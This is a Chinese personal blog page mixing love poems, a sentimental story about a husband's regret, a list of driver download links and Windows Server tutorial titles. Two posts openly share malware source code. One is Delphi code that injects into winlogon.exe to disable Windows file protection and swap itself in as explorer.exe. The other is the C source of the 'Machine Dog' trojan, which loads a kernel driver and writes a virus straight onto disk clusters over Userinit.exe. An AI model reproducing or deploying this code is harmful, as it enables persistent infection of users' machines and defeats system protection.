关于作者

用户名:lason
笔名:LasOn
地区: 山东--
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



我的好友

常去网址

易经与佛学

加密解密

访问统计:
文章个数:770
评论个数:643
留言条数:451




Powered by BlogDriver 2.1

幸福的梦轩

 

连就连,我俩结交订百年,谁若九十七岁死,奈何桥上等三年

文章

爱情是一部忧伤的童话  (作者置顶)
放弃一个很爱你的人,并不痛苦;
放弃一个你很爱的人,那才痛苦;
爱上一个不爱你的人,那是更痛苦


若是有缘,时间、空间都不是距离;
若是无缘,终是相聚也无法会意。 
凡事不必太在意,更不需去强求, 就让一切随缘吧。。。


逃避,不一定躲得过;
面对,不一定最难过。   
孤独,不一定不快乐;
得到,不一定能长久。  
失去不一定不再拥有,
可能因为某个理由而伤心难过
但,你却能找个理由让自己快乐


爱无非是要快乐。   
两个人不能快乐,不如一个人快乐;
两个人痛苦,不如成全一个人的快乐。


爱,是一种感受,即使痛苦也会觉得幸福;
爱,是一种体会,即使心碎也会觉得甜蜜;
爱,是一种经历,即使破碎也会觉得美丽。。。
有些失去是注定的,有些缘分是永远不会有结果的。  
爱一个人不一定就能拥有,  
可,我就是抹不去你在我心中留下的点点滴滴


忘了你的真,忘了你的纯;
忘了你炙热的吻,忘了往昔的记忆;
忘了昨天的开怀,忘了你的音容笑貌;
忘了你深情的回眸,忘了你伤心的泪滴;
忘了你忧郁的深情,忘了你纵容的目光


爱一个人不孤单,想一个人才孤单  
静静的思念,孤独的享受   
放开天上的云朵,抛开遗留的誓言


喜欢一个人,失去了,就像丢掉自己心爱的物品   
虽然遗憾,但是不会痛   
爱一个人,失去了,就会留下一个伤口,   
永远都会隐隐的痛。。。


不要因为寂寞而错爱,
不要因为错爱而寂寞一生


天空是星星的世界,星星不会手持酒杯走到一起   
大海是鱼儿的家园,鱼儿不会唱那祝酒的歌   
拥着未来的憧憬,我们在此相识   
相识是一种美丽又难得的缘。。。


有一种思念叫做沉默  
我们之间,我的内心深处   
那一份感情,从此不会再提起。。。


或许,只有在难得最远的时候,   
才能把曾经走过的那段日子,   
看得最真确、最清楚

- 作者: LasOn 2006年09月26日, 星期二 19:14  回复(11) |  引用(1) 加入博采

FLASH-白月光  (作者置顶)

     歌是那么的凄美,诗却是让人能回到现实中来反省,我喜欢这歌,可说不请为什么会喜欢,想必是自已溶进去了吧,就像一颗水滴在阳光下被蒸发,从而溶入了空气一样,那感觉是在飞,在一种无奈的爱海洋里飞,可再也找不到了尽头,我期待着月光的出现。用那冷冷的光照在我的身上,让我在凉意中找回自己,可在这歌声中,我知道,我再也找不回自己了,我在风中无力的哭泣着,可我的哭泣却不能改变什么,音乐停了,可我的心却再也停不了。。。。。。。。。

- 作者: 梦轩 2005年08月26日, 星期五 06:08  回复(8) |  引用(1) 加入博采

送给天下所有的男人  (作者置顶)

      

     他和她过的很好,他是公司的骨干.他们经历了彼此的了解和爱慕才走到的一起.在他们还在恋爱的时候.他妈妈就拉着她的手进到厨房.告诉她怎么做洋葱因为他最愿意吃洋葱.她记住了.结婚以后她每天换着花样的给他做最爱吃的洋葱.

       这个男人在一次去北京的出差中遇到了大学时的初恋女同学.从那以后他总是借口去北京和这个女同学幽会.有的时候他的女同学也来他所在的城市找他.天有不测风云.他的妻子被诊断出晚期癌症.在他妻子住院的时候,有一次他在收拾卫生间的时候在角落里发现一个木盒子.打开之后里面有一张纸和几根女人的头发.他的妻子是短发.这些头发是他和他的女同学一次在家里幽会和缠绵时留下的.打开纸上面是他妻子写的一句话{我相信我的丈夫是爱我的)这个男人哭了.他跑到医院想问他的妻子愿意吃什么他去做.他的妻子说你会做什么啊,还是去大街上买一份血肠豆腐吧.这么多年了他竟然才知道妻子愿意吃血肠豆腐.

      后来她永远的走了.这个男人在厨房里面发疯的给自己做洋葱.当他拨洋葱的时候被洋葱辣的泪流满面.他这个时候才知道他的妻子每天都是这样给自己做洋葱的.他情人的手那么白嫩.什么也不会做.只有他妻子才会为了他爱吃的菜而天天这样做洋葱.他现在才真正明白.真正的爱情就像是拨洋葱.当你一片一片拨下去.总有一片会让你累流满面  
             男人啊!珍惜你所拥有的吧.人只活一辈子等失去才后悔不惭愧吗

- 作者: 梦轩 2005年08月25日, 星期四 12:17  回复(59) |  引用(1) 加入博采

源码网

- 作者: LasOn 2009年04月22日, 星期三 17:04  回复(0) |  引用(0) 加入博采

驱动网址大全,一定有你要找的。收藏吧
华硕(ASUS)驱动官网下载:http://support.asus.com.cn/download/download.aspx?SLanguage=zh-cn

精英(ECS)驱动官网下载:http://www.ecs.com.cn/ECSWeb/Dow ... nuID=35&LanID=2

磐正(EPOX)驱动官网下载:http://www.epox.cn/product/line-product.php?product_type=磐正主板

微星(MSI)驱动官网下载:http://www.microstar.com.cn/prog ... dld_list.php?kind=1

七彩虹(colorful)驱动官网下载:http://tec.colorful.cn/Colorful_Mb.aspx

富士康(FOXCONN)驱动官网下载:http://www.foxconnchannel.com.cn/Product/motherboard.aspx

映泰(BIOSTAR)驱动官网下载:http://www.biostar.cn/supports/Download.asp

新宏嘉驱动官网下载:http://xhjpc.com.cn/bigclass.asp?typeid=10&bigclassid=32

英特尔(Intel)驱动官网下载:http://www.intel.com/cd/products ... erboards/269639.htm

技嘉(GIGABYTE)驱动官网下载:http://www.gigabyte.cn/Support/Motherboard/Driver_List.aspx

盈通(YESTON)驱动官网下载:http://www.yeston.net/download/download_qd.jsp?type=1&name=驱动下载

捷波(JETWAY)驱动官网下载:http://www.jetway.com.cn/download/index.asp

磐英(hasee)驱动官网下载:http://www.epox.cn/product/line-product.php?product_type=磐正主板

升技(ABIT)驱动官网下载:http://www.abit.com.cn/driverm.php

顶星(Topstar)驱动官网下载:http://www.topstar1.com/productlist.asp

华擎(ASRock)驱动官网下载:http://www.asrock.com.tw/support/index_download.cn.asp

梅捷(SOYO)驱动官网下载:http://www.soyo.com.cn/demo1/channel.php?channelID=88

冠盟驱动官网下载:http://www.gamen.com.cn/downloads.asp

华杰驱动官网下载:http://www.pchuajie.com.cn/Soft_Index.asp

新华盛驱动官网下载:http://www.txco.com.cn/productsh ... 7%B0%E5%CF%B5%C1%D0

昂达(ONDA)驱动官网下载:http://www.onda.cn/pro/download/drive.jsp

科迪亚(QDI)驱动官网下载:http://www.qdigrp.com/qdisite/gb/support/p-utility.htm

双敏(UNIKA)驱动官网下载:http://www.unika.com.cn/service/ ... id=&downloadid=

斯巴达克(SPARK)驱动官网下载:http://www.speedway.com.cn/html/xiazaiqu.html

泰安(TYAN)驱动官网下载:http://www.tyan.com/l_chinese/support/html/drivers_support.html

致铭(cthim)驱动官网下载:http://www.cthim.com/file/xiazaizhongxin.asp

数码通(PcDigicom)驱动官网下载:http://www.pcdigicom.net/zblj.asp

科脑驱动官网下载:http://www.zgkn.com/chinese/download/index.htm

杰微驱动官网下载:http://www.jwele.com.cn/download.asp

天虹驱动官网下载:http://www.pcpartner.com/product ... 051207112808-314331

信步(seavo)驱动官网下载:http://www.seavo.com/download.htm

精威(PCCHIPS)驱动官网下载:http://www.pcchips.com.tw/PCCWeb ... nuID=35&LanID=4

杰灵(ZILLION)驱动官网下载:http://www.zillion-tech.com/Download/motherboard1.htm

翔升驱动官网下载:http://www.pcasl.com/download/index.htm

丽源驱动官网下载:http://www.mediamax.com.cn/drivers.asp

丽台(WinFast)驱动官网下载:http://www.leadtek.com.cn/Gam/Gam_Downloads.aspx

映众(Inno3D)驱动官网下载:http://www.inno3d.com.cn/support/download_inno3d.html

迪兰恒进(PowerColor)驱动官网下载:http://www.dataland.com.cn/download.asp

艾尔莎(ELSA)驱动官网下载:http://www.elsa.com/GB/Support/driver_professional.asp

蓝宝石(SAPPHIRE)驱动官网下载:http://www.sapphiretech.com/cn/support/drivers.php

ATI驱动官网下载:https://support.ati.com/ics/supp ... dge&folderID=27

NVIDIA驱动官网下载:http://www.nvidia.cn/content/drivers/drivers_cn.asp

SIS驱动官网下载http://www.sis.com.tw/download/

万丽(MANLI)驱动官网下载:http://www.manli.com/index.asp?lang=cn

小影霸(HASEE)驱动官网下载:http://www.hasee.com/products/display.asp

讯景(XFX)驱动官网下载:http://www.xfx.com.cn/download.asp

富彩(FORSA)驱动官网下载:http://www.forsa.com.cn/product.html]

影驰(GALAXY)驱动官网下载:http://www.szgalaxy.com/support.htm

帝龙驱动官网下载:http://www.dlong8.com/down.asp

维硕驱动官网下载:http://www.votusum.com/download.htm

祺祥驱动官网下载:http://www.mone.com.cn/support_mainboad.asp

HIS驱动官网下载:http://taiwan.hisdigital.com/html/driver.php

太阳花(TAIYANFA)驱动官网下载:http://www.taiyanfa.com/down/sort.asp?classid=20

宝联驱动官网下载:http://www.prolinkvga.com/down.asp

旌宇(SPARKLE) 驱动官网下载http://www.sparklevga.com.cn/ch/driver.asp?m_id=1

硕泰克(Soltek) 驱动官网下载http://www.soltek.com.cn/products/bioslist1.asp

驱动之家http://drivers.mydrivers.com/

太平洋驱动下载http://dlc2.pconline.com.cn/column.jsp?chnid=2

中关村驱动在线:http://download.zol.com.cn/downl ... ardware_page_1.html

- 作者: LasOn 2008年05月5日, 星期一 19:15  回复(0) |  引用(0) 加入博采

替换explorer.exe
{*******************************************************}
{ }
{ 关闭XP保护替换explorer.exe }
{ }
{ }
{*******************************************************}

program Project1;

uses
 Windows,TlHelp32;

function LowerCase(const S: string): string; //转小写
var
 Ch: Char;
 L: Integer;
 Source, Dest: PChar;
begin
 L := Length(S);
 SetLength(Result, L);
 Source := Pointer(S);
 Dest := Pointer(Result);
 while L <> 0 do
 begin
 Ch := Source^;
 if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
 Dest^ := Ch;
 Inc(Source);
 Inc(Dest);
 Dec(L);
 end;
end;

function CreatedMutexEx(MutexName: Pchar): Boolean;
var
 MutexHandle: dword;
begin
 MutexHandle := CreateMutex(nil, True, MutexName);
 if MutexHandle <> 0 then
 begin
 if GetLastError = ERROR_ALREADY_EXISTS then
 begin
 //CloseHandle(MutexHandle);
 Result := False;
 Exit;
 end;
 end;
 Result := True;
end;

function GetWinPath: string; //取WINDOWS目录
var
 Buf: array[0..MAX_PATH] of char;
begin
 GetWindowsDirectory(Buf, MAX_PATH);
 Result := Buf;
 if Result[Length(Result)]<>'\' then Result := Result + '\';
end;

function GetTempDirectory: string; //取临时目录
var
 Buf: array[0..MAX_PATH] of char;
begin
 GetTempPath(MAX_PATH,Buf);
 Result := Buf;
 if Result[Length(Result)]<>'\' then Result := Result + '\';
end;

function EnableDebugPriv : Boolean; //提权为DEBUG
var
 hToken : THANDLE;
 tp : TTokenPrivileges;
 rl : Cardinal;
begin
 result := false;
 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
 if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then
 begin
 tp.PrivilegeCount := 1;
 tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
 result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);
 end;
end;

procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 关闭XP文件保护
var
 TID: LongWord;
 hSfc,hThread: HMODULE;
 pfnCloseEvents: Pointer;
begin
 hSfc := LoadLibrary('sfc_os.dll');
 pfnCloseEvents := GetProcAddress(hSfc,MAKEINTRESOURCE(2));
 FreeLibrary(hSfc);
 hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);
 WaitForSingleObject(hThread, 4000);
end;

procedure InitProcess(Name: string); //查找winlogon.exe进程PID
var
 FSnapshotHandle: THandle;
 FProcessEntry32: TProcessEntry32;
 ProcessHandle:dword;
begin
 FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
 if Process32First(FSnapshotHandle,FProcessEntry32) then begin
repeat
 If Name = LowerCase(FProcessEntry32.szExeFile) then
 begin
 ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);
 InjectThread(ProcessHandle);
 CloseHandle(ProcessHandle);
 Break;
 end;
 until not Process32Next(FSnapshotHandle,FProcessEntry32);
 end;
 CloseHandle(FSnapshotHandle);
end;

const ExpFile = 'explorer.exe';
 MasterMutex = 'OpenSoul';

var
 s: string;
begin
 if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆体
 if not EnableDebugPriv then Exit; //提权失败退出
 InitProcess('winlogon.exe') ; //注入winlogon.exe 先关闭xp的文件保护 .预防系统的还原
 s := ParamStr(0) ; //取本名
 if LowerCase(s) <> LowerCase(GetWinPath + ExpFile) then //判断自己是不是系统下的explorer.exe
 begin //如果不是
 MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + 'system32\explorer.exe'),MOVEFILE_REPLACE_EXISTING); //先移动正在运行的explorer.exe
 CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ; //把自己复制到windows目录 为explorer.exe
 end;
 WinExec(PChar(GetWinPath + 'system32\explorer.exe'),1); //运行真正的explorer.exe
end.

- 作者: LasOn 2008年02月17日, 星期日 01:53  回复(2) |  引用(0) 加入博采

机器狗源码(C的)

// Test.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"

//==============================================================================
#include <pshpack1.h>
typedef struct _PARTITION_ENTRY
{
   UCHAR active;                 // 能否启动标志
   UCHAR StartHead;               // 该分区起始磁头号
   UCHAR StartSector;             // 起始柱面号高2位:6位起始扇区号
   UCHAR StartCylinder;           // 起始柱面号低8位
   UCHAR PartitionType;           // 分区类型
   UCHAR EndHead;                 // 该分区终止磁头号
   UCHAR EndSector;               // 终止柱面号高2位:6位终止扇区号
   UCHAR EndCylinder;             // 终止柱面号低8位
   ULONG StartLBA;               // 起始扇区号
   ULONG TotalSector;             // 分区尺寸(总扇区数)
} PARTITION_ENTRY, *PPARTITION_ENTRY;

//==============================================================================
typedef struct _MBR_SECTOR
{
   UCHAR             BootCode[446];
   PARTITION_ENTRY   Partition[4];
   USHORT           Signature;
} MBR_SECTOR, *PMBR_SECTOR;

//==============================================================================
typedef struct _BBR_SECTOR
{
   USHORT JmpCode;               // 2字节跳转指令,跳转到引导代码
   UCHAR   NopCode;               // 1字节nop指令,填充用,保证跳转指令长3个字节
   UCHAR   OEMName[8];             // 8字节的OEMName

   // 下面开始为: BPB( BIOS Parameter Block )

   USHORT BytesPerSector;         // 每个扇区的字节数 (512 1024 2048 4096)
   UCHAR   SectorsPerCluster;     // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)
   USHORT ReservedSectors;       // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值通常为1,对于FAT32,典型值为32
   UCHAR   NumberOfFATs;           // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]
   USHORT RootEntries;           // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不使用]
   USHORT NumberOfSectors16;     // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]
   UCHAR   MediaDescriptor;       // 介质类型
   USHORT SectorsPerFAT16;       // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必须为0;[FAT32/NTFS不使用该字段]
   USHORT SectorsPerTrack;       // 用于INT 0x13中断的每个磁道的扇区数
   USHORT HeadsPerCylinder;       // 用于INT 0x13中断的每个柱面的磁头数
   ULONG   HiddenSectors;         // 包含该FAT卷的分区之前的隐藏扇区数
   ULONG   NumberOfSectors32;     // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段; [NTFS不使用该字段]

   // 下面开始为: EBPB ( Extended BIOS Parameter Block )

   ULONG   SectorsPerFAT32;       // 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0;
} BBR_SECTOR, *PBBR_SECTOR;

#include <poppack.h>

#define PARTITION_TYPE_NTFS         0x07
#define PARTITION_TYPE_FAT32         0x0B
#define PARTITION_TYPE_FAT32_LBA     0x0C

//==============================================================================
#define STR_SYSFILE_PATH             TEXT("%SystemRoot%\\system32\\drivers\\pcihdd.sys")
#define STR_VIRFILE_PATH             TEXT("%SystemRoot%\\System32\\Userinit.exe")
#define STR_DSKDEVICE_NAME           TEXT("\\\\.\\PhysicalDrive0")
#define STR_HDDDEVICE_NAME           TEXT("\\\\.\\PhysicalHardDisk0")

//==============================================================================
#define IOCTL_MYDEV_BASE                 0xF000
#define IOCTL_MYDEV_Fun_0xF01           CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

//==============================================================================
DWORD InstallAndStartDriver(HMODULE ModuleHandle)
{
   TCHAR           filePath[MAX_PATH];
   HANDLE           fileHandle;
   HRSRC           hSysRes;
   DWORD           dwWritten;
   DWORD           dwSysLen;
   PVOID           lpSysBuf;
   SC_HANDLE       hSCManager;
   SC_HANDLE       hService;
   SERVICE_STATUS   sService;
   DWORD           errCode = ERROR_SUCCESS;
   if(
     (NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001)))
     ||
     (0     == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))
     ||
     (NULL == (lpSysBuf = LockResource(hSysRes)))
     ||
     (0     == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath)))
     ||
     (INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))
     )
   {
     errCode = GetLastError();
     goto FunExit00;
   }
   if(
     !WriteFile(fileHandle, lpSysBuf, dwSysLen, &dwWritten, NULL)
     ||
     !SetEndOfFile(fileHandle)
     ||
     !FlushFileBuffers(fileHandle)
     )
   {
     errCode = GetLastError();
   }
   CloseHandle(fileHandle);
   if(ERROR_SUCCESS != errCode)
   {
     goto FunExit01;
   }
   if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
   {
     errCode = GetLastError();
     goto FunExit01;
   }
   hService = CreateService(
     hSCManager,
     TEXT("PciHdd"),
     TEXT("PciHdd"),
     SERVICE_ALL_ACCESS,
     SERVICE_KERNEL_DRIVER,
     SERVICE_DEMAND_START,
     SERVICE_ERROR_IGNORE,
     filePath,
     NULL,
     NULL,
     NULL,
     NULL,
     NULL
     );
   if(NULL != hService)
   {
     CloseServiceHandle(hService);
   }
   else
   {
     if(NULL != (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))
     {
       ControlService(hService, SERVICE_CONTROL_STOP, &sService);
       DeleteService(hService);
       CloseServiceHandle(hService);
     }
     hService = CreateService(
       hSCManager,
       TEXT("PciHdd"),
       TEXT("PciHdd"),
       SERVICE_ALL_ACCESS,
       SERVICE_KERNEL_DRIVER,
       SERVICE_DEMAND_START,
       SERVICE_ERROR_IGNORE,
       filePath,
       NULL,
       NULL,
       NULL,
       NULL,
       NULL
       );
     if(NULL != hService)
     {
       CloseServiceHandle(hService);
     }
     else
     {
       errCode = GetLastError();
       goto FunExit02;
     }
   }
   if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_START)))
   {
     errCode = GetLastError();
     goto FunExit02;
   }
   StartService(hService, 0, NULL);
   CloseServiceHandle(hService);
FunExit02:
   CloseServiceHandle(hSCManager);
FunExit01:
   DeleteFile(filePath);
FunExit00:
   return errCode;
}

//==============================================================================
DWORD StopAndDeleteDriver(VOID)
{
   TCHAR           filePath[MAX_PATH];
   SC_HANDLE       hSCManager;
   SC_HANDLE       hService;
   SERVICE_STATUS   sService;
   DWORD           errCode = ERROR_SUCCESS;
   if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
   {
     errCode = GetLastError();
     goto FunExit00;
   }
   if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))
   {
     errCode = GetLastError();
     goto FunExit01;
   }
   ControlService(hService, SERVICE_CONTROL_STOP, &sService);
   DeleteService(hService);
   CloseServiceHandle(hService);
FunExit01:
   CloseServiceHandle(hSCManager);
FunExit00:
   ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath));
   DeleteFile(filePath);
   return errCode;
}

//==============================================================================
// 感染硬盘第一个分区的指定的文件
//
// 1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布 信息
//
// 2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和第一个分区的引导扇区得到分区参数来定位文件。
//
// 3)通过对比ReadFile读取的文件数据和自己定位后直接 读取所得到的文件数据,确定定位是否正确
//
// 入口参数:
// 要感染的文件名(完整路径)
//
// Return value:
// Success -> NULL
// Failed   -> 指向出错信息的指针
//==============================================================================
DWORD WriteVirusToDisk(LPCTSTR VirusFile)
{
   STARTING_VCN_INPUT_BUFFER   iVcnBuf;
   UCHAR                       oVcnBuf[272];
   PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;
   DWORD                       dwVcnExtents;
   LARGE_INTEGER               startLcn;
   PUCHAR                     lpClusterBuf;
   DWORD                       dwClusterLen;
   UCHAR                       dataBuf[512];
   UCHAR                       diskBuf[512];
   DWORD                       dataLen;
   LARGE_INTEGER               diskPos;
   PPARTITION_ENTRY           lpPartition;
   ULONG                       dwPartitionStart;
   ULONG                       dwPartitionType;
   PBBR_SECTOR                 lpBootSector;
   DWORD                       SectorsPerCluster;
   HANDLE                     hHddDevice;
   HANDLE                     hDskDevice;
   HANDLE                     hVirusFile;
   DWORD                       errCode = ERROR_SUCCESS;
   if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)))
   {
     errCode = GetLastError();
     goto FunExit00;
   }
   //
   if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL)))
   {
     errCode = GetLastError();
     goto FunExit01;
   }
   iVcnBuf.StartingVcn.QuadPart = 0;
   RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf));
   if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &iVcnBuf, sizeof(iVcnBuf), &oVcnBuf[0], sizeof(oVcnBuf), &dataLen, NULL))
   {
     errCode = GetLastError();
     goto FunExit02;
   }
   lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&oVcnBuf[0];
   dwVcnExtents = lpVcnBuf->ExtentCount;
   startLcn     = lpVcnBuf->Extents[0].Lcn;
   if(!dwVcnExtents)
   {
     errCode = (ULONG)(-3); // 文件太小, 不能操作
     goto FunExit02;
   }
   if(startLcn.QuadPart == -1)
   {
     errCode = (ULONG)(-4); // 该文件是压缩文件, 不能操作
     goto FunExit02;
   }
   ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &dataLen, NULL);
   // 打开第一个物理硬盘
   if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)))
   {
     errCode = GetLastError();
     goto FunExit02;
   }
   // 读取硬盘第一个扇区(MBR)
   SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN);
   ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
   lpPartition = &(((PMBR_SECTOR)&diskBuf[0])->Partition[0]);
   if(lpPartition[0].active != 0x80)
   {
     errCode = (ULONG)(-1); // 分区不是启动分区
     goto FunExit03;
   }
   dwPartitionType = lpPartition[0].PartitionType;
   if(
     dwPartitionType != PARTITION_TYPE_FAT32
     &&
     dwPartitionType != PARTITION_TYPE_FAT32_LBA
     &&
     dwPartitionType != PARTITION_TYPE_NTFS
     )
   {
     errCode = (ULONG)(-2); // 不支持的磁盘分区
     goto FunExit03;
   }
   dwPartitionStart = lpPartition[0].StartLBA;
   diskPos.QuadPart = dwPartitionStart * 512;
   // 读取启动分区的第一个扇区(启动扇区)
   SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
   ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
   lpBootSector = (PBBR_SECTOR)&diskBuf[0];
   SectorsPerCluster = lpBootSector->SectorsPerCluster;
   // 根据FAT32/NTFS计算Userinit的起始簇的偏移量
   diskPos.QuadPart = dwPartitionStart;
   diskPos.QuadPart+= lpBootSector->ReservedSectors;
   if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA)
   {
     diskPos.QuadPart+= lpBootSector->NumberOfFATs * lpBootSector->SectorsPerFAT32;
   }
   diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster;
   diskPos.QuadPart*= 512;
   // 检查文件寻址
   SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
   ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
   if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf)))
   {
     errCode = (ULONG)(-5); // 寻址文件不成功
     goto FunExit03;
   }
   // 分配缓冲
   dwClusterLen = SectorsPerCluster*512;
   lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen); // 保存一个簇所要的缓冲
   if(!lpClusterBuf)
   {
     errCode = GetLastError(); // 寻址文件不成功
     goto FunExit03;
   }
   // 把Virus文件的数据从SYS文件资源段中解码出来
   if(!DeviceIoControl(
     hVirusFile,
     IOCTL_MYDEV_Fun_0xF01,
     (PVOID)0x00401000,         // 本执行文件代码段的开始, 在C语言中我不会表达
     0x73E,                     // 本执行文件代码段的长度, 在C语言中我不会表达
     lpClusterBuf,
     dwClusterLen,
     &dataLen,
     NULL
     ))
   {
     errCode = GetLastError();
     goto FunExit04;
   }
   // 写Virus文件的数据到磁盘
   SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
   WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &dataLen, NULL);
   FlushFileBuffers(hDskDevice);
   errCode = ERROR_SUCCESS;
FunExit04:
   GlobalFree(lpClusterBuf);
FunExit03:
   CloseHandle(hDskDevice);
FunExit02:
   CloseHandle(hVirusFile);
FunExit01:
   CloseHandle(hHddDevice);
FunExit00:
   return errCode;
}

//==============================================================================
int _tmain(int argc, _TCHAR* argv[])
{
   TCHAR           filePath[MAX_PATH];
   DWORD           errCode;
   if(ERROR_SUCCESS != (errCode = InstallAndStartDriver(GetModuleHandleA(NULL))))
   {
     MessageBox(NULL, TEXT("驱动程序的加载没有成功,程序将无法运行"), NULL, MB_ICONERROR);
     goto FunExit00;
   }
   ExpandEnvironmentStrings(STR_VIRFILE_PATH, &filePath[0], sizeof(filePath));
   WriteVirusToDisk(filePath);
   StopAndDeleteDriver();
FunExit00:
return 0;
}

- 作者: LasOn 2008年02月17日, 星期日 01:51  回复(0) |  引用(0) 加入博采

来自微软的计算机教程(非常全面)

Windows Server 2003从入门到精通系列之一:详细探讨Windows server 2003操作系统的安装方法
Windows Server 2003从入门到精通系列之二:创建和管理用户帐户
Windows Server 2003从入门到精通系列之三:NTFS特性在Windows 2003上的体现
Windows Server 2003从入门到精通系列之四:网络共享资源的各种访问方法
Windows Server 2003从入门到精通系列之五:Windows server 2003安全策略
Windows Server 2003从入门到精通系列之六:Windows server 2003中的磁盘管理
Windows Server 2003从入门到精通系列之七:Windows server 2003灾难恢复——备份
Windows Server 2003从入门到精通系列之八:使用IPSec加强系统安全性
Windows Server 2003从入门到精通系列之九:TCP/IP协议基础
Windows Server 2003从入门到精通系列之十:Windows server 2003 服务应用大全之DNS服务使用详解
Windows Server 2003从入门到精通系列之十一:Windows server 2003 服务应用大全之DHCP服务使用详解
Windows Server 2003从入门到精通系列之十二:Windows server 2003 服务应用大全之WINS服务使用详解
Windows Server 2003从入门到精通系列之十三:如何使用Windows server 2003搭建VPN服务器
Windows Server 2003从入门到精通系列之十四:利用SUS实现自动补丁管理
Windows Server 2003从入门到精通系列之十五:活动目录的设计及部署方法
Windows XP SP2 新功能与使用技巧
Windows 2003 群集技术概述
IIS 6.0 安全性最佳实践
探究Windows XP SP2 Firewall——企业环境中的部署
探究Windows XP SP2 Firewall——SOHO之部署
创建 Windows Server 2003 AD 域
组策略在 Windows 2000 和 Windows 2003 中的应用
Windows 管理大全之启动排错全接触
Windows 2003 服务应用大全之 IIS6.0 使用详解
使用GPMC随心所欲管理组策略
深入了解活动目录操作主机角色
Windows 2003 SP1 功能预览与演示
AD —- 活动目录的日常管理操作(五)
AD —- 活动目录的日常管理操作(四)
AD —- 活动目录的日常管理操作(三)
AD —- 活动目录的日常管理操作(二)
AD —- 活动目录的日常管理操作(一)
使用 ADS 部署 Windows 服务器
改善系统操作,加强系统安全 - Windows NT 4.0 到2003安全及操作比较
确保 Windows 服务器的安全性
利用 Windows 平台实现强大的磁盘管理功能
防御与对策
轻松实现集中管理:组策略全面接触
实现高可用的文件访问:基于活动目录的分布式文件系统
轻松从NT4升迁到活动目录
使用活动目录强化企业网络安全
活动目录的商业价值与特性演示
灵活利用组策略做网络管理
